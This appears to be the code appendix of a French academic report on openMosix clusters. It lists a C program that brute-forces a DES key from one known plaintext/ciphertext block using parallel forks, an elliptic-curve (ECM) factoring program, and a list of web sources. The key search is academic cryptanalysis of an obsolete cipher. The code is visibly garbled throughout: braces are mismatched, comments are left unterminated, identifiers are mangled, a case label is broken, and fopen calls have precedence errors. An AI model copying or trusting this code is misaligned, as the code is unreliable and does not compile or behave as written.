A DES key is of type `des_cblock`. This type is consists of 8 bytes with odd parity. The least significant bit in each byte is the parity bit. The key schedule is an expanded form of the key; it is used to speed the encryption process.

Remarque : dans mon implementation, le bit de parite est le bit de poids fort. J'ai ecrit ma propre fonction qui calcule la parite; je n'utilise donc pas cette fonction : `des_set_odd_parity()`

*/

```

#include <openssl/des.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <signal.h>
#include <sys/time.h>
#include <unistd.h>

////////////////////////////////////
//
// Ce nombre doit ABSOLUMENT etre une puissance de 2 //
// inferieure ou egale a 128 //
#define NUMFORKS 8 //
////////////////////////////////////

des_cblock input, output; // 8 blocks de 8 bits
des_key_schedule sched;
des_cblock c, nc, t;
des_cblock new_key;
unsigned int count7=0, count6=0, count5=0, count4=0, count3=0, count2=0, count1=0, count0=0;
char *encfile;
int weak = 0; // cle seulement sur 32 bits

// calcule la parite d'un entier non signe.
// cet entier est transforme en echaracter ASCII 7 bit
// le bit de parite est ajoute sur le bit de poids fort
// un bloc de 8 bits est renvoye : 1 bit de parite + 7 bits de donnees
// cette fonction remplace donc la fonction : des_set_odd_parity()

unsigned int odd_parity(unsigned int ch)
{
    int temp = 1; // 0 : parite paire 1 : parite impaire
    int count;

    ch &= 0x7f;
    for (count = 0; count < 8; ++count)
        temp ^= ((ch >> count) & 1);
    if (temp)ch |= 0x80;

```

```

    return ch;
}

int generate_new_key ()
{
    int res, i, eg=0;

    new_key[0] = odd_parity(count0);
    new_key[1] = odd_parity(count1);
    new_key[2] = odd_parity(count2);
    new_key[3] = odd_parity(count3);
    if (!weak){
        new_key[4] = odd_parity(count4);
        new_key[5] = odd_parity(count5);
        new_key[6] = odd_parity(count6);
        new_key[7] = odd_parity(count7);
    }
    else{
        new_key[4] = odd_parity(0);
        new_key[5] = odd_parity(0);
        new_key[6] = odd_parity(0);
        new_key[7] = odd_parity(0);
    }
}
/*
    Before a DES key can be used, it must be converted into the
    architecture dependent des_key_schedule via the des_set_key_checked() function.

    des_set_key_checked() will check that the key passed is of odd parity
    and is not a weak or semi-weak key. If the parity is wrong, then -1 is
    returned. If the key is a weak key, then -2 is returned.

*/
des_set_key_checked(&new_key, sched);

count0++;

if (count0 == 128) {
    count0 = 0;
    count1++;
}
if (count1 == 128) {
    count1 = 0;
    count2++;
}
if (count2 == 128) {
    count3++;
    count2 = 0;
}
if (count3 == 128) {
    count3 = 0;
    count4++;
    if(weak) exit (2);
}
if (!weak){
    if (count4 == 128) {
        count4 = 0;
        count5++;
    }
    if (count5 == 128) {
        count5 = 0;
        count6++;
    }
}

```

```

    }
    if (count6 == 128) {
        count7++;
        count6 = 0;
    }
    if (count7 == 128) exit(2); // on a parcouru toutes les cles !!
}
return 0;
}

```

```

int compare_blocks()
{
    int i=0;
    for (i;i<8;i++){
        if (c[i] != t[i]) return -1;
    }
    printf("WE FOUND A KEY !!!\n");
    printf("KEY : %x%x%x%x%x%x%x\n", new_key[0], new_key[1], new_key[2], new_key[3], new_key[4],
        new_key[5], new_key[6], new_key[7]);
    printf("block 7 : %d\nblock 6 : %d\nblock 5 : %d\nblock 4 : %d\nblock 3 : %d\nblock 2 : %d"
        "\nblock 1 : %d\nblock 0 : %d\n", new_key[7], new_key[6], new_key[5], new_key[4], new_key[3],
        new_key[2], new_key[1], new_key[0]);

    printf("You can find the clear text in the file \"result\" \n");
    decrypt(encfile, "result");
    return 0;
}

```

```

int decrypt (char *in, char *out)
{
    FILE *fdi, *fdo;
    int i=0,j,p=-1,bc1=0,bc2=0;
    char c;

    if ( ( fdi = fopen(in,"r") )==NULL )
    {
        perror("Unable to read to the input file");
        return -1;
    }
    //Cette boucle calcule le nombre de bytes du fichier.
    while((c = getc(fdi))!= EOF){
        input[i]=c;
        i++;
        if(i == 8){
            i=0;
            bc1++;
            des_ecb_encrypt(&input, &output, sched, DES_DECRYPT);
        }
    }

    fclose(fdi);

    // On lit le dernier byte du fichier.
    // padding
    if (i!=0) perror("Fichier invalide. Une erreur d'encryption a eu lieu.");
    switch (output[7]) {
    case '6':
        p=7;

```

```

    break;
case '5':
    p=6;
    break;
case '4':
    p=5;
    break;
case '3':
    p=4;
    break;
case '2':
    p=3;
    break;
case '1':
    p=2;
    break;
case '0':
    p=1;
    break;
}

if ( ( fdi = fopen(in,"r")==NULL )
    {
    perror("Unable to read to the input file");
    return -1;
    }

if ( ( fdo = fopen(out,"w")==NULL )
    {
    perror("Unable to write to the output file");
    return -1;
    }

while((c = getc(fdi))!= EOF){
    input[i]=c;
    //    printf("%c\n",c);
    i++;
    if(i == 8){
        if(++bc2!=bc1){
            des_ecb_encrypt(&input, &output, sched, DES_DECRYPT); // DES_DECRYPT
            fprintf(fdo, "%c%c%c%c%c%c%c%c", output[0], output[1], output[2], output[3],
                output[4], output[5], output[6], output[7]);
        }
        i = 0;
    }
}
// decrypting the last cblock
des_ecb_encrypt(&input, &output, sched, DES_DECRYPT);
if(p==-1)
    for (i=0;i<8;i++) fprintf(fdo, "%c", output[i]);
else
    for (i=0;i<7-p;i++) fprintf(fdo, "%c", output[i]);

fclose(fdi);
fclose(fdo);

return 0;
}

```

```

int encrypt_block()
{
    int i=0;
    des_ecb_encrypt(&nc,&t,sched, DES_ENCRYPT);
}

void Usage(char *prog)
{
    printf("Usage: %s [-w] <non-encrypted-file><encrypted-file>\n", prog);
    printf("Option : \n");
    printf("w : weak key (32 bits)\n");
}

/*
Fonctionnement de base :
on lit un fichier non crypte et on èinsre ses 64 premiers bit dans un des_cblock
ensuite on lit la version cryptee du fichier et on èprocde de meme.
Seuls ces blocks, et non les fichiers entiers, seront utilises pour la recherche
de la cle.
*/
int main(int argc, char **argv)
{
    int comp, i, forkcount=0, pid, status, ch;
    FILE *fdc, *fdnc;
    int sons[NUMFORKS];
    struct timeval tv1, tv2;
    struct timezone tz;
    long long diff;
    char *clearfile = NULL;

    /*
    if ((argc != 3) && (argc != 4)){
        Usage(argv[0]);
        return -1;
    }

    if (argc==4) if (strcmp("-weak", argv[3])) weak=1;

    encfile = argv[2];
    */

    while ((ch = getopt (argc, argv, "w")) != -1)
        switch (ch)
        {
            case 'w':
                weak = 1;
                break;

            case '?:
                if (isprint (optopt))
                    fprintf (stderr, "Unknown option '-%c'.\n", optopt);
                else
                    fprintf (stderr,
                        "Unknown option character '\\x%x'.\n", optopt);
                return 1;
            default:
                abort ();
        }

    if ((argc-weak) != 3) {

```

```

    Usage(argv[0]);
    return -1;
}

clearfile = argv[optind++];
encfile = argv[optind];

if ( ( fdnc = fopen(clearfile,"r")==NULL ) {
    perror("Unable to read the non encrypted file");
    return -1;
}

if ( ( fdc = fopen(encfile,"r")==NULL ) {
    perror("Unable to read the encrypted file");
    return -1;
}

if (weak) printf("WEAK KEY MODE : ON\n");

// remplissage des des_clocks
for(i=0;i<8;i++){
    c[i] = getc(fdc);
    nc[i] = getc(fdnc);
}

fclose(fdc);
fclose(fdnc);

gettimeofday(&tv1, &tz);

while(forkcount < NUMFORKS) {

    if ( pid = fork() == 0 ) { // This is the code of the son
        printf("Fils cree en commençant a %x%x%x%x%x%x%x%x\n", count7, count6, count5, count4, count3,
            count2, count1, count0);
        do {
            if (generate_new_key()==-1){
                //printf("NO KEY FOUND");
                exit(0);
            }
            encrypt_block();
        } while(compare_blocks()==-1);
        exit(1); // a key was found
    }
    else { //èpre
        if(weak)
            count3+=128/NUMFORKS;
        else
            count7+=128/NUMFORKS; // au maximum 128 processus
        sons[forkcount++]=pid;
    }
}

while(1){ // on attends tous les processus fils
    if (waitpid(0,&status,WNOHANG) > 0){
        if (WEXITSTATUS(status) == 1 || (WEXITSTATUS(status) == 2)){
            // a key was found or all keys have been tried
            gettimeofday(&tv2, &tz);
            diff=(tv2.tv_sec-tv1.tv_sec) * 1000000L + \
                (tv2.tv_usec-tv1.tv_usec);
            printf("Total time: %d sec\n", diff/1000000);
        }
    }
}

```

```

        // on tue tous les processus fils !
        for(i=0;i<NUM_FORKS;i++) kill(sons[i],SIGKILL);
        exit(0);
    }
}
}
}

```

6.3.8 *ecm_fact.c*

```

/*****
/*
/*
/*
/*****

/*
* This program implements the factorization of big numbers using elliptic curves. To
* deal with big numbers, I use the GMP library.
* The algorithm I use here is called the ECM algorithm.
* The file ecm_fact.h should be included after gmp.h, as it uses some definitions
* declared in the gmp.h file.
*
* The first phase makes use of Montgomery's trick
* The second phase corresponds to the one proposed by Brent (birthday paradox)
*
*
* Author : Thomas Baigneres
* Lab : LASEC - EPFL
*
*/

/*
* This program was edited by Nicolas Bonvin in order to take advantage
* of an openMosix cluster
*
*/

#include <stdlib.h>
#include <stdio.h>
#include <gmp.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include "ecm_lib.h"

/*****
/*
/* int main(int argc, char *argv[])
/*
/*****

int main(int argc, char *argv[]) {

```

```

/* n is the number we want to factorize. Its value is in the file we just described */
mpz_t      n;
/* Equation of the curve : y^2 = x^3 + ax + 1 */
mpz_t      a;
/* For the algorithm we suppose that the cardinality m of E(F_p) is B1-powersmooth */
mpz_t      B1;
/* For the algorithm we suppose that the cardinality m of E(F_p) is B1-powersmooth */
mpz_t      B2;
/* this is where we will store a factor of n if we find one */
mpz_t      factor;
/* The table of precomputed primes less than B1 */
mpz_t      p[PRIMES_TABLE_SIZE];
/* Used to store a product of prime numbers */
mpz_t      q1[PRIMES_TABLE_SIZE];
/* Used to store ceil(B1/q) */
mpz_t      l[PRIMES_TABLE_SIZE];
/* A point on the curve
struct ECM.POINT*  P[NBR_PARALELL_CURVES];
/* Counters
int              i, j;
/* The last index of our precomputed primes table
int              k;
/* used to store a temporary value
mpz_t            temp1, temp2;
/* TRUE if we found a factor of n, FALSE otherwise
int              is_factor_found;
/* used to store a non inversible value
mpz_t            non_inv_value;
/* used in the birthday paradox second phase
mpz_t            d;
/* if this value is true after phase 1, go to phase 2.
int              execute_phase_two;
/* counts the number of processes running on the cluster
int forkcount = 0;
/* Used to handle correctly the processes
int pid, status;

if(argc != 4 && argc != 5) {
    printf("correct use : %s <name of the file containing the number to factorize in base %u>"
           "<B1 value in base 10> <B2 value in base 10> [start value of a, default is 0]\n",
           argv[0], FILE_NUMBER_BASE);
    ecm_error("Wrong number of arguments.");
}

// Initialization
// ^^^^^^^^^^^^^^^^^

ecm_init();

mpz_init(n);
mpz_init(a);
mpz_init(B1);
mpz_init(B2);
mpz_init(factor);
mpz_init(temp1);
mpz_init(temp2);
mpz_init(non_inv_value);

for (i=0; i<NBR_PARALELL_CURVES; i++) {

```

```

P[i] = (struct ECM_POINT*) malloc(sizeof(struct ECM_POINT));
mpz_init(P[i]->x);
mpz_init(P[i]->y);
P[i]->is_infinity = ECM_FALSE;
}

for(i=0; i<PRIMES_TABLE_SIZE; i++) {
    mpz_init(p[i]);
    mpz_init(q1[i]);
    mpz_init(l[i]);
}

mpz_init(d);

k = 0;

is_factor_found = ECM_FALSE;
execute_phase_two = ECM_TRUE;

// Try to get n from the file which name is the first argument
// ~~~~~

printf("number to factorize in file: \t%s\n", argv[1]);
ecm_getNumberToFactorize(n, argv[1]);
printf("number to factorize = \t\t");
mpz_out_str(0, ECM_DISPLAY_BASE, n);
printf("\n");

// Check if the number is a prime number, there is no need to go further if it is !
// ~~~~~

if(mpz_probab_prime_p(n, 10) != 0) {
    printf("The number n is a prime number ! Exiting...\n\n");
    return 0;
}

// Remove the 2 factors from the number
// ~~~~~

ecm_remove2factors(n);
if(PRINT_COMMENT == ECM_TRUE) {
    printf("We removed 2 factors.\n");
    printf("\tn = ");
    mpz_out_str(0, ECM_DISPLAY_BASE, n);
    printf("\n");
}

// Remove the 3 factors from the number
// ~~~~~

ecm_remove3factors(n);
if(PRINT_COMMENT == ECM_TRUE) {
    printf("We removed 3 factors.\n");
    printf("\tn = ");
    mpz_out_str(0, ECM_DISPLAY_BASE, n);
    printf("\n");
}

```

```

// Get B1 value
// ~~~~~

printf("Getting B1 value from command line...");
mpz_set_str(B1, argv[2], 10);
if(PRINT_COMMENT == ECM_TRUE) {
    printf("\n\tB1 = ");
    mpz_out_str(0, ECM_DISPLAY_BASE, B1);
    printf("\n");
}
printf("done.\n"); fflush(0);

// Get B2 value
// ~~~~~

printf("Getting B2 value from command line...");
mpz_set_str(B2, argv[3], 10);
if(PRINT_COMMENT == ECM_TRUE) {
    printf("\n\tB2 = ");
    mpz_out_str(0, ECM_DISPLAY_BASE, B2);
    printf("\n");
}
printf("done.\n");

// Initialise phase 2
// ~~~~~

printf("Initialisation of phase 2..."); fflush(0);
if(ecm_init_phase_two(B1, B2) < 0) {
    printf("\nPlease increase value of MAX_TABLE_SIZE_IN_PHASE_TWO located in ecm_lib.h\n");
    return -1;
}
printf("done.\n");

// Compute the table of prime numbers up to B1
// ~~~~~

printf("Computing table of primes up to B1..."); fflush(0);
mpz_set_ui(p[0], 1);
for(i=1; i < PRIMES_TABLE_SIZE; i++) {
    mpz_nextprime(p[i], p[i-1]);
    if(mpz_cmp(p[i], B1) > 0) {
        // i goes from 1 upto k
        k = i-1;
        break;
    }
}
if(k == PRIMES_TABLE_SIZE || k == 0) {
    printf("\nPLEASE increase PRIMES_TABLE_SIZE value in file ecm_lib.h. Exiting...\n");
    return 0;
}
if(PRINT_COMMENT == ECM_TRUE) {
    printf("\n\tLast prime smaller than B1 = ");
    mpz_out_str(0, ECM_DISPLAY_BASE, p[k]);
    printf("\n\tNumber of primes smaller than B1 : %d", k);
    printf("\n");
}

```

```

printf("done.\n"); fflush(0);

// Compute the table of prime powers up to B1
// ~~~~~

printf("Computing table of prime powers up to B1..."); fflush(0);
for(i = 1; i <= k; i++) {
    mpz_set(q1[i], p[i]);
    mpz_cdiv_q(l[i], B1, p[i]);
    while(mpz_cmp(q1[i], l[i]) < 0) {
        mpz_mul(q1[i], q1[i], p[i]);
    }
}
printf("done.\n"); fflush(0);

// Compute the first elliptic curve and a first point on it. Initialize counter.
// ~~~~~

printf("Computing first curve...");
if(argc != 5) {
    ecm_generate_first_curve(a, n);
}
else {
    mpz_set_str(a, argv[4], 10);
}
printf("done.\n");
printf("Starting computing curves with a = \t");
mpz_out_str(0, ECMDISPLAY_BASE, a);
printf("\n");
printf("Number of computers in parallel = \t%d\n", NBR_PARALELL_COMPUTERS);
printf("Computing first point on the curve...");
for(i=0; i<NBR_PARALELL_CURVES; i++) {
    ecm_generate_first_point(P[i], a, n);
}
printf("done.\n"); fflush(0);
i = 1;

// Begin main loop
// ~~~~~

printf("Working...\n");
printf("Number of curves computed so far : ");
mpz_out_str(0, 10, a);
fflush(0);

while(1) {

    // Creating process until NUMFORKS is reached
    // ~~~~~

    while(forkcount < NUMFORKS) {

        if ( pid = fork() == 0 ){ // This is the code of the son

            // First phase
            // ~~~~~

```

```

i = 0;
while(execute_phase_two == ECMLTRUE && i < k) {
  i++;
  if(ecm_add_point_multiple_times_on_multiple_curves(P, ql[i], P, a, n) < 0) {
    mpz_set(non_inv_value, P[0]->x);
    execute_phase_two = ECMFALSE;
    if(ecm_factor_found(factor, non_inv_value, n) == ECMLTRUE) {
      printf("\nFactor found in phase 1\n");
      ecm_display_factor(factor, a);
      //return 0;
      exit(1); // 1 : a factor is found by a son
    }
  }
}

// If we did not find a non inversible value, start phase 2
// ~~~~~

if(execute_phase_two == ECMLTRUE) {

  // For each curve, there is a second phase
  // ~~~~~

  for(j=0; j < NBR_PARALELL_CURVES; j++) {

    // Compute first table of points

    if(ecm_compute_points_table_phase_two(P[j], a, n) < 0) {

      mpz_set(non_inv_value, P[j]->x);
      if(ecm_factor_found(factor, non_inv_value, n) == ECMLTRUE) {
        printf("\nFactor found in phase 2(1)\n");
        ecm_display_factor(factor, a);
        //return 0;
        exit(1); // 1 : a factor is found by a son
      }
    }

    else {

      // Make the test

      if(ecm_make_test_of_phase_two(P[j], a, n) < 0) {

        mpz_set(non_inv_value, P[j]->x);
        if(ecm_factor_found(factor, non_inv_value, n) == ECMLTRUE) {
          printf("\nFactor found in phase 2(2)\n");
          ecm_display_factor(factor, a);
          //return 0;
          exit(1); // 1 : a factor is found by a son
        }
      }

    } // end of phase 2 for a curve
  } //end of phase 2 for all the curves
  exit(0); // regular end of a son
}
else { // This is the code for the father

```

```

// no factor found, try with another curve
// ~~~~~
forkcount++;
i = 1;
mpz_add_ui(a, a, NBR_PARALELL_CURVES * NBR_PARALELL_COMPUTERS);
for(i=0; i<NBR_PARALELL_CURVES; i++) {
    ecm_generate_first_point(P[i], a, n);
}
printf("\rNumber of curves computed so far : ");
mpz_out_str(0, 10, a);
fflush(0);
execute_phase_two = ECM_TRUE;
}
} // end of (forkcount < NUMFORKS) loop

// Handling zombies
// ~~~~~

if (waitpid(0,&status,WNOHANG) > 0){
    forkcount--;
    if (WEXITSTATUS(status) == 1) // a factor was found by a son. The program will stop.
        exit(0);
}
} // end infinite loop
}

```

7 | Sources

De nombreuses sources ont été nécessaires pour rédiger ce document, parmi lesquelles :

1. <http://www.google.com>;
2. <http://openmosix.sourceforge.net>;
3. <http://www.openmosixview.com/docs/openMosixAPI.html>;
4. <http://www.openmosixview.com>;
5. <http://www.gentoo.org>;
6. <http://www.openssl.org>;
7. <http://lsrwww.epfl.ch>;
8. <http://howto.ipng.be/openMosix-HOWTO/>;
9. <http://www.linuxfrench.net>;
10. <http://www.beowulf.org>;
11. <http://www.linuxfrench.net>.